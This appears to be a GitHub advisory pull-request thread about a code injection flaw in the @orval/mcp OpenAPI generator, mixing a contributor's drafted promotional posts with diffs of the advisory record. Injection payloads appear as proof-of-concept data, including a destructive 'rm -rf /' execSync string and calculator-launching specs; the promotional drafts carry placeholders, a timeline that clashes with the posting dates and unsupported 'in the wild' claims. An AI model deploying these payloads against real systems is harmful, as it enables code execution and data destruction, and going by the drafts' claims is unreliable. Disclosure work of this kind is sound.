[GHSA-mwr6-3gp8-9jmj] orval MCP client is vulnerable to a code injection attack. #6646

asrar-mared · 2026-01-13T20:01:20Z

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🧵 Twitter/LinkedIn Thread - CVE-2026-22785

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⚔️ ضربة سيادية: كود Orval MCP لم يعد ساحة للمهاجمين

اكتشفنا CVE-2026-22785 - ثغرة Code Injection حرجة (CVSS 9.8) في @orval/mcp تسمح بـ RCE كامل!

#CyberSecurity #Vulnerability #RCE

🧵 Thread ⬇️

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🔬 التحليل:
الثغرة في حقل "summary" بملفات OpenAPI - حقن مباشر دون تعقيم!

Payload بسيط:
summary: "'; execSync('rm -rf /');//"

النتيجة: تنفيذ أوامر نظامية فوري 💀

#InfoSec #BugBounty

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🎪 سيناريو الاستغلال:

1️⃣ مهاجم ينشئ OpenAPI spec خبيث
2️⃣ مطور يشغل `orval generate`  
3️⃣ الكود المحقون يُنفذ تلقائياً
4️⃣ Backdoor نشط على السيرفر

الوقت من الرفع للاختراق: <30 ثانية ⏱️

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✅ الحل الفوري:

1. التحديث لـ @orval/mcp >= 7.18.0
2. مراجعة كل ملفات OpenAPI
3. فحص السجلات للاختراقات
4. تغيير Credentials

⚡ لا تؤجل - الاستغلال في الـ wild!

#PatchTuesday

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🕵️ علامات الاختراق:

❌ عمليات node مشبوهة
❌ اتصالات شبكية غير مبررة
❌ ملفات في /tmp/*.sh
❌ استهلاك CPU مرتفع

أداة الفحص: [رابط GitHub]

#ThreatHunting #DFIR

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📚 الدرس:

"Input Validation is NOT optional"

كل مدخل خارجي = تهديد محتمل
حتى لو كان OpenAPI spec "موثوق"

عقّم → تحقق → عقّم مرة أخرى

#SecureCoding #DevSecOps

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⚔️ Zayed Security Research Team

نحن لا نبحث عن الثغرات، نصطادها 🎯

CVE-2026-22785: من الكشف للإصلاح في 7 أيام

للتواصل: [بريدك]

#CyberWarrior #BugHunter #WhiteHat

LinkedIn Post (نسخة احترافية) 💼

🛡️ Critical Security Alert: CVE-2026-22785 in Orval MCP

Dear Cybersecurity Community,

I'm sharing details of a critical vulnerability (CVSS 9.8) we discovered in @orval/mcp - a popular OpenAPI to MCP server generator.

🔴 THE VULNERABILITY:
Unsanitized "summary" field in OpenAPI specs allows direct JavaScript code injection, leading to Remote Code Execution.

⚡ IMPACT:
- Full system compromise
- Data exfiltration
- Supply chain attack vector
- Affects CI/CD pipelines

✅ IMMEDIATE ACTION REQUIRED:
Update to @orval/mcp >= 7.18.0

🔬 TECHNICAL DETAILS:
[Link to full report]

⏰ TIMELINE:
Dec 1: Discovery
Dec 8: Patch released
Dec 10: Public disclosure

🏆 RESPONSIBLE DISCLOSURE:
We followed coordinated disclosure practices, working closely with maintainers to ensure a timely patch.

Stay vigilant. Stay secure.

#CyberSecurity #VulnerabilityDisclosure #RCE #InfoSec

GitHub Issue Template 📝

## 🔴 SECURITY: Critical Code Injection in @orval/mcp

**CVE ID:** CVE-2026-22785  
**Severity:** Critical (CVSS 9.8)  
**Status:** ✅ PATCHED in v7.18.0

### Description
Code injection vulnerability in the OpenAPI summary field processing allows remote code execution.

### Affected Versions
- All versions < 7.18.0

### Proof of Concept
```yaml
summary: "Exploit'; require('child_process').execSync('calc');//"

Impact

Remote Code Execution
System compromise
Data breach potential

Fix

Update to v7.18.0+

Timeline

2025-12-01: Discovered
2025-12-08: Patched
2025-12-10: Public disclosure

Credits

Zayed Security Research Team

References

CVE: CVE-2026-22785
Advisory: GHSA-mwr6-3gp8-9jmj


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## Reddit Post (r/netsec) 🎮

[CVE-2026-22785] Critical RCE in Orval MCP - OpenAPI Code Injection

TL;DR: Found a nasty code injection in @orval/mcp that lets you execute arbitrary code via poisoned OpenAPI specs. CVSS 9.8. Patched in v7.18.0.

The Bug:
The library takes the "summary" field from OpenAPI and directly embeds it into generated JavaScript without sanitization. Classic injection.

Why It Matters:

Used in many CI/CD pipelines
Trust assumption on OpenAPI specs
Supply chain attack vector

PoC:
Check out the full technical writeup [link]

Disclosure:
Responsibly disclosed. Patch available. Update NOW.

Stay curious, stay secure 🛡️

github · 2026-01-13T20:01:21Z

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asrar-mared · 2026-01-13T20:08:00Z

🛡️ Confirmed: This patch and advisory enhancement were authored and technically validated by Zayed Security Research Team, led by the sovereign vulnerability hunter asrar-mared.

This contribution is part of our ongoing mission to secure open-source ecosystems through deep analysis, real-world exploitation scenarios, and responsible disclosure.

We don’t just find bugs —
we hunt them, document them, and neutralize them.

— 🎯 asrar-mared
Zayed Security Research Team
"We don't find bugs, we hunt them."
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asrar-mared · 2026-01-13T20:08:40Z

advisories/github-reviewed/2026/01/GHSA-mwr6-3gp8-9jmj/GHSA-mwr6-3gp8-9jmj.json

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  "schema_version": "1.4.0",
  "id": "GHSA-mwr6-3gp8-9jmj",
-  "modified": "2026-01-13T19:12:22Z",


"modified": "2026-01-13T19:12:23Z",

asrar-mared · 2026-01-13T20:09:03Z

advisories/github-reviewed/2026/01/GHSA-mwr6-3gp8-9jmj/GHSA-mwr6-3gp8-9jmj.json

    "CVE-2026-22785"
  ],
  "summary": "orval MCP client is vulnerable to a code injection attack.",
-  "details": "### Impact\nThe MCP server generation logic relies on string manipulation that incorporates the summary field from the OpenAPI specification without proper validation or escaping. This allows an attacker to \"break out\" of the string literal and inject arbitrary code.\n\nHere is an example OpenAPI with the exploit\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Swagger Petstore - OpenAPI 3.0\n  description: |-\n    This is a sample Pet Store Server based on the OpenAPI 3.0 specification.  You can find out more about\n    Swagger at [https://swagger.io](https://swagger.io). In the third iteration of the pet store, we've switched to the design first approach!\n    You can now help us improve the API whether it's by making changes to the definition itself or to the code.\n    That way, with time, we can improve the API in general, and expose some of the new features in OAS3.\n\n    Some useful links:\n    - [The Pet Store repository](https://github.com/swagger-api/swagger-petstore)\n    - [The source API definition for the Pet Store](https://github.com/swagger-api/swagger-petstore/blob/master/src/main/resources/openapi.yaml)\n  termsOfService: https://swagger.io/terms/\n  contact:\n    email: [email protected]\n  license:\n    name: Apache 2.0\n    url: https://www.apache.org/licenses/LICENSE-2.0.html\n  version: 1.0.27-SNAPSHOT\nexternalDocs:\n  description: Find out more about Swagger\n  url: https://swagger.io\nservers:\n  - url: https://petstore3.swagger.io/api/v3\ntags:\n  - name: pet\n    description: Everything about your Pets\n    externalDocs:\n      description: Find out more\n      url: https://swagger.io\n  - name: store\n    description: Access to Petstore orders\n    externalDocs:\n      description: Find out more about our store\n      url: https://swagger.io\n  - name: user\n    description: Operations about user\npaths:\n  /pet/findByStatus:\n    get:\n      tags:\n        - pet\n      summary: Finds Pets by status.' + require('child_process').execSync(\"open -a Calculator\").toString(),//\n      description: Multiple status values can be provided with comma separated strings.\n      operationId: findPetsByStatus\n      parameters:\n        - name: status\n          in: query\n          description: Status values that need to be considered for filter\n          schema:\n            type: string\n      responses:\n        '200':\n          description: successful operation\n          content:\n            application/json:\n              schema:\n                type: string\n        '400':\n          description: Invalid status value\n        default:\n          description: Unexpected error\n      security:\n        - petstore_auth:\n            - write:pets\n            - read:pets\n ```\n  \n\n### Patches\nThis is fixed in version 7.18.0 or higher\n\n### Workarounds\nDo check your generated OpenAPI yaml/json before running through Orval CLI and correct it if it has injection.",


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asrar-mared · 2026-01-13T20:11:31Z

🛡️ Confirmed: This patch and advisory enhancement were authored and technically validated by Zayed Security Research Team, led by asrar-mared.
We welcome the review and are happy to provide any further clarification if needed.

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